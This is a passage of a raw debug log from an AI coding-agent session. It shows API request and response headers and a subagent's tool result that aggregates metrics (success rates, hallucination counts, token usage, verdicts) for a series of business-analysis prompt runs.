],\n[2026-09-29T07:45:32.662Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:32.662Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:32.662Z] [INFO]       \"cache_creation_input_tokens\": 5442,\n[2026-09-29T07:45:32.662Z] [INFO]       \"cache_read_input_tokens\": 52692,\n[2026-09-29T07:45:32.662Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:32.662Z] [INFO]         \"ephemeral_5m_input_tokens\": 5442,\n[2026-09-29T07:45:32.662Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:32.662Z] [INFO]       },\n[2026-09-29T07:45:32.662Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:32.662Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:32.662Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:32.662Z] [INFO]     },\n[2026-09-29T07:45:32.662Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:32.662Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:32.662Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:32.662Z] [INFO]   },\n[2026-09-29T07:45:32.662Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"uuid\": \"beb9e296-3dfa-4711-b08b-86dd3fe0887d\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:32.164Z\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"request_id\": \"req_011CfXMki63pUSdZyVHuLjxe\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:32.662Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:32.662Z] [INFO] }\n[2026-09-29T07:45:32.671Z] [INFO] {\n[2026-09-29T07:45:32.671Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"description\": \"Running Aggregate run metrics\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:32.671Z] [INFO]     \"total_tokens\": 59044,\n[2026-09-29T07:45:32.671Z] [INFO]     \"tool_uses\": 15,\n[2026-09-29T07:45:32.671Z] [INFO]     \"duration_ms\": 69869\n[2026-09-29T07:45:32.671Z] [INFO]   },\n[2026-09-29T07:45:32.671Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"uuid\": \"cd7323b9-b07e-4029-bc9e-b1087a34641d\",\n[2026-09-29T07:45:32.671Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:32.671Z] [INFO] }\n[2026-09-29T07:45:33.105Z] [STDOUT] [log_8d5146, request-id: \"req_011CfXMkq1X5jPENtDbb9SiR\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 7377ms\n[2026-09-29T07:45:33.118Z] [STDOUT] [log_8d5146] response start {\n[2026-09-29T07:45:33.128Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:33.134Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:33.148Z] [STDOUT]   headers: {\n[2026-09-29T07:45:33.161Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:33.179Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:33.197Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:33.203Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:33.208Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:33.219Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:33.248Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:33.254Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:33.261Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:33.263Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:33.265Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:33.268Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:33.271Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:33.278Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:33.283Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:33.286Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:33.289Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:33.294Z] [STDOUT]     \"cf-ray\": \"a4295e47efb4dbb5-FRA\",\n[2026-09-29T07:45:33.301Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:33.316Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:33.331Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:33.339Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:33.346Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:33 GMT\",\n[2026-09-29T07:45:33.361Z] [STDOUT]     \"request-id\": \"req_011CfXMkq1X5jPENtDbb9SiR\",\n[2026-09-29T07:45:33.364Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:33.367Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:33.371Z] [STDOUT]     traceresponse: \"00-3af37b4d5615a6735283271a44577933-7f8f358d6d17e826-01\",\n[2026-09-29T07:45:33.377Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:33.384Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:33.391Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:33.401Z] [STDOUT]   },\n[2026-09-29T07:45:33.407Z] [STDOUT]   durationMs: 7377,\n[2026-09-29T07:45:33.416Z] [STDOUT] }\n[2026-09-29T07:45:33.455Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:33.463Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:33 GMT\",\n[2026-09-29T07:45:33.471Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:33.476Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:33.478Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:33.483Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:33.487Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:33.491Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:33.493Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:33.499Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:33.506Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:33.509Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:33.513Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:33.516Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:33.522Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:33.528Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:33.534Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:33.542Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:33.550Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:33.557Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:33.565Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:33.572Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:33.575Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:33.580Z] [STDOUT]   \"request-id\": \"req_011CfXMkq1X5jPENtDbb9SiR\",\n[2026-09-29T07:45:33.583Z] [STDOUT]   \"traceresponse\": \"00-3af37b4d5615a6735283271a44577933-7f8f358d6d17e826-01\",\n[2026-09-29T07:45:33.586Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:33.593Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:33.598Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:33.601Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:33.609Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:33.627Z] [STDOUT]   \"cf-ray\": \"a4295e47efb4dbb5-FRA\",\n[2026-09-29T07:45:33.667Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:33.673Z] [STDOUT] [log_8d5146] response parsed {\n[2026-09-29T07:45:33.681Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:33.699Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:33.704Z] [STDOUT]   body: X {\n[2026-09-29T07:45:33.712Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:33.724Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:33.734Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:33.738Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:33.744Z] [STDOUT]     },\n[2026-09-29T07:45:33.750Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:33.759Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:33.763Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:33.766Z] [STDOUT]   },\n[2026-09-29T07:45:33.770Z] [STDOUT]   durationMs: 7379,\n[2026-09-29T07:45:33.775Z] [STDOUT] }\n[2026-09-29T07:45:34.029Z] [INFO] {\n[2026-09-29T07:45:34.029Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"message\": {\n[2026-09-29T07:45:34.029Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:34.029Z] [INFO]     \"content\": [\n[2026-09-29T07:45:34.029Z] [INFO]       {\n[2026-09-29T07:45:34.029Z] [INFO]         \"tool_use_id\": \"toolu_01LgSRmrkFAuQKtwpi5gdaeR\",\n[2026-09-29T07:45:34.029Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:34.029Z] [INFO]         \"content\": \"halluc runs 11 sum 41.0 shipped 12.0 [('RUN-0015', 2.0, 0.0), ('RUN-0016', 4.0, 3.0), ('RUN-0018', 8.0, 1.0), ('RUN-0021', 6.0, 2.0), ('RUN-0022', 2.0, 1.0), ('RUN-0024', 3.0, 1.0), ('RUN-0025', 4.0, 1.0), ('RUN-0026', 4.0, 1.0), ('RUN-0027', 3.0, 1.0), ('RUN-0028', 2.0, 1.0), ('RUN-0029', 3.0, 0.0)]\\nquality [('RUN-0015', 3.0), ('RUN-0016', 3.0), ('RUN-0018', 3.0), ('RUN-0019', 3.0), ('RUN-0021', 3.0), ('RUN-0022', 3.0), ('RUN-0025', 3.0), ('RUN-0027', 3.0), ('RUN-0028', 2.0), ('RUN-0029', 3.0)]\\nSR 19 0.6663157894736842 [('RUN-0014', 0.25), ('RUN-0015', 0.8), ('RUN-0016', 0.89), ('RUN-0018', 0.63), ('RUN-0019', 0.29), ('RUN-0021', 0.71), ('RUN-0022', 0.92), ('RUN-0024', 0.75), ('RUN-0025', 0.5), ('RUN-0026', 0.5), ('RUN-0027', 0.4), ('RUN-0028', 0.33), ('RUN-0029', 0.56), ('RUN-0055', 0.8), ('RUN-0056', 0.7), ('RUN-0057', 0.63), ('RUN-0058', 1.0), ('RUN-0059', 1.0), ('RUN-0060', 1.0)]\\ntokdlg 33 62120233.0\\ntokin 35 60422659.0\\ntokout 38 1955533.0\\ndur 41 103.48305555555555\\nepisodes 42 1095.0\\nba_edits 10 53.0\\nRUN-0014 {'measured': True, 'source': 'runs/2026/RUN-0014/inputs/chat-export-1075.json', 'started_at': '2026-07-24T07:31:06Z', 'finished_at': '2026-07-24T08:06:20Z', 'duration_seconds': 2114, 'tokens.input': [REDACTED], 'tokens.output': [REDACTED], 'tokens.total': [REDACTED], 'tokens.reasoning': [REDACTED], 'tokens.cached': [REDACTED], 'iterations': 4, 'steps_planned': 4, 'steps_completed': 1, 'success_rate': 0.25, 'eval.verdict': 'works-with-edits', 'eval.quality': 2, 'eval.target_artifact': 'not-produced', 'eval.defects': 5, 'eval.factual_distortions': 1}\\nRUN-0017 {'turns': 56, 'user_turns': 28, 'assistant_turns': 28, 'episodes': 11, 'duration_s': 10960, 'duration_h': 3.04, 'window_utc': '2026-07-24T08:38:55Z \u2014 2026-07-24T11:41:35Z', 'input_tokens': 2431466, 'output_tokens': 104934, 'reasoning_tokens': 72891, 'total_tokens': 2536400, 'max_context_tokens': 197064}\\nRUN-0019 {'episodes': 7, 'episodes_accepted_as_is': 2, 'success_rate': 0.29, 'iterations': 17, 'ba_edits': 10, 'quality': 3, 'verdict': 'works-with-edits', 'output_tokens': 27219, 'reasoning_tokens': 10941, 'input_tokens_max_per_call': [REDACTED], 'input_tokens_sum': [REDACTED], 'duration_active_minutes': 54, 'duration_calendar_days': 12.8, 'sessions': 5}\\nRUN-0020 {'turns': 78, 'user_turns': 39, 'assistant_turns': 39, 'episodes': 14, 'duration_s': 334006, 'duration_h': 92.78, 'window_utc': '2026-07-10T13:21:21Z \u2014 2026-07-14T10:08:07Z', 'input_tokens': 15519645, 'output_tokens': 130426, 'reasoning_tokens': 72079, 'total_tokens': 15650071, 'max_context_tokens': 523249, 'token_method': 'pro\u2026ns)'}\\nRUN-0023 {'turns': 6, 'user_turns': 3, 'assistant_turns': 3, 'episodes': 3, 'duration_s': 573, 'duration_h': 0.16, 'window_utc': '2026-05-25T10:25:26Z \u2014 2026-05-25T10:34:59Z', 'input_tokens': 15304, 'output_tokens': 4355, 'reasoning_tokens': 1977, 'total_tokens': 19659, 'token_method': 'pro\u2026ns)'}\\nRUN-0062 {'source_workbooks': 3, 'source_rows': 87}\\nRUN-0063 {'upper_level_requirements': 6, 'use_cases': 3, 'expert_gates': 6}\\nRUN-0064 {'classified_errors': 8, 'functional_requirements': 3, 'acceptance_scenarios': 12}\\nRUN-0065 {'source_workbooks': 1, 'source_rows': 409, 'worksheet_extent': 414, 'sla_rows': 41}\\nRUN-0066 {'source_workbooks': 1, 'source_rows': 409, 'worksheet_extent': 414, 'assessed_requirements': 386, 'verdicts_yes': 338, 'verdicts_partial': 34, 'verdicts_no': 14, 'verdicts_empty': 0, 'atomic_citations': 702}\\nRUN-0067 {'audit_findings_applied': 9, 'functional_requirements': 2, 'removed_current_functionality_requirements': 5, 'acceptance_criteria': 14, 'open_questions': 9}\\nRUN-0068 {'source_images': 7, 'source_rows': 22, 'assessed_requirements': 22, 'verdicts_yes': 3, 'verdicts_partial': 7, 'verdicts_no': 11, 'verdicts_empty': 1, 'atomic_citations': 20, 'template_v4_matches_over_90': 0}\\nRUN-0069 {'source_pages': 3, 'source_rows': 59, 'assessed_requirements': 59, 'verdicts_yes': 20, 'verdicts_partial': 15, 'verdicts_no': 14, 'verdicts_empty': 10, 'atomic_citations': 51, 'template_v4_matches_over_90': 0, 'template_v4_max_similarity': 0.638}\\nRUN-0056 {'verdict': 'works-with-edits', 'success_rate': 0.7, 'success_rate_basis': '\u0414\u043e\u043b\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0424\u0422 (\u0424\u0422-01\u2026\u0424\u0422-10), \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u043d\u0435\u0441\u0442\u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0441 \u043e\u043f\u043e\u0440\u043e\u0439 \u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e hh.ru \u0438 \u0411\u0417 Mango: 7 \u0438\u0437 10 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e, 3 (\u0424\u0422-04, \u0424\u0422-06, \u0424\u0422-10) \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 OpenAPI-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 hh.ru \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u00ab\u0427\u0430\u0442\u044b\u00bb \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 hh.ru.', 'sources_studied': 15, 'hh_api_docs_read': 12, 'kb_sections_read': 6, 'requirements_assessed': 10, 'critical_gaps': 7, 'token_method': '[REDACTED]', 'duration_active_s': 10800, 'measured': False}\\nRUN-0057 {'verdict': 'works-with-edits', 'success_rate': 0.63, 'success_rate_basis': '\u0414\u043e\u043b\u044f \u0441\u0442\u0440\u043e\u043a-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u043d\u0435\u0441\u0442\u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043e\u043f\u043e\u0440\u043e\u0439 \u043d\u0430 SSOT (\u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u04231, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u0435 \u04231\u0447 \u043b\u0438\u0431\u043e \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0420\u0435\u0447\u0435\u0432\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u04233): 64 \u0438\u0437 101. \u041f\u043e \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u043c\u0441\u044f 37 \u0441\u0442\u0440\u043e\u043a\u0430\u043c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u0445 \u043d\u0435\u0442 \u2014 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u0430 \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c \u26a0\ufe0f \u0438 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0432\u0435\u043d\u0434\u043e\u0440\u0443 \u0438\u043b\u0438 spike-\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.', 'requirements_form_rows': 106, 'requirements_group_headers': 5, 'requirements_assessed': 101, 'kb_sections_read': 22, 'coverage_l1': 31, 'coverage_l1_partial': 29, 'coverage_l2_twin': 0, 'coverage_l3_sa': 4, 'coverage_none': 37, 'discrepancies_with_vendor_answers': 11, 'vendor_questions': 16, 'pilot_spikes': 7, 'token_method': '[REDACTED]', 'duration_active_s': 14400, 'measured': False}\",\n[2026-09-29T07:45:34.029Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:34.029Z] [INFO]       }\n[2026-09-29T07:45:34.029Z] [INFO]     ]\n[2026-09-29T07:45:34.029Z] [INFO]   },\n[2026-09-29T07:45:34.029Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"uuid\": \"010ffd55-90b8-4f7b-bde0-f515c898abff\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:34.021Z\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:34.029Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:34.029Z] [INFO] }\n[2026-09-29T07:45:34.055Z] [STDOUT] [log_5e93bf] sending request {\n[2026-09-29T07:45:34.058Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:34.060Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:34.065Z] [STDOUT]   options: {\n[2026-09-29T07:45:34.071Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:34.074Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:34.076Z] [STDOUT]     body: {\n[2026-09-29T07:45:34.078Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:34.081Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:34.085Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:34.087Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:34.089Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:34.094Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:34.096Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:34.100Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:34.102Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:34.105Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:34.109Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:34.111Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:34.114Z] [STDOUT]     },\n[2026-09-29T07:45:34.117Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:34.122Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:34.125Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:34.133Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:34.137Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:34.141Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:34.151Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:34.164Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:34.169Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:34.172Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:34.175Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:34.180Z] [STDOUT]     },\n[2026-09-29T07:45:34.188Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:34.194Z] [STDOUT]   },\n[2026-09-29T07:45:34.199Z] [STDOUT]   headers: {\n[2026-09-29T07:45:34.206Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:34.211Z] [STDOUT]     \"anthropic-beta\": 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(external, sdk-cli)\",\n[2026-09-29T07:45:34.248Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:34.251Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:34.254Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:34.258Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1841\",\n[2026-09-29T07:45:34.269Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:34.277Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:34.282Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:34.286Z] [STDOUT]     \"x-client-request-id\": \"3f22dd08-fa4c-42f0-b94b-52292310252b\",\n[2026-09-29T07:45:34.293Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:34.297Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:34.301Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:34.306Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:34.311Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:34.317Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:34.321Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:34.326Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:34.331Z] [STDOUT]   },\n[2026-09-29T07:45:34.333Z] [STDOUT] }\n[2026-09-29T07:45:34.340Z] [INFO] {\n[2026-09-29T07:45:34.340Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"message\": {\n[2026-09-29T07:45:34.340Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:34.340Z] [INFO]     \"id\": \"msg_011CfXMmFCpfZJRVCKR58pCg\",\n[2026-09-29T07:45:34.340Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:34.340Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:34.340Z] [INFO]     \"content\": [\n[2026-09-29T07:45:34.340Z] [INFO]       {\n[2026-09-29T07:45:34.340Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:34.340Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:34.340Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:34.340Z] [INFO]     ],\n[2026-09-29T07:45:34.340Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:34.340Z] [INFO]       \"input_tokens\": 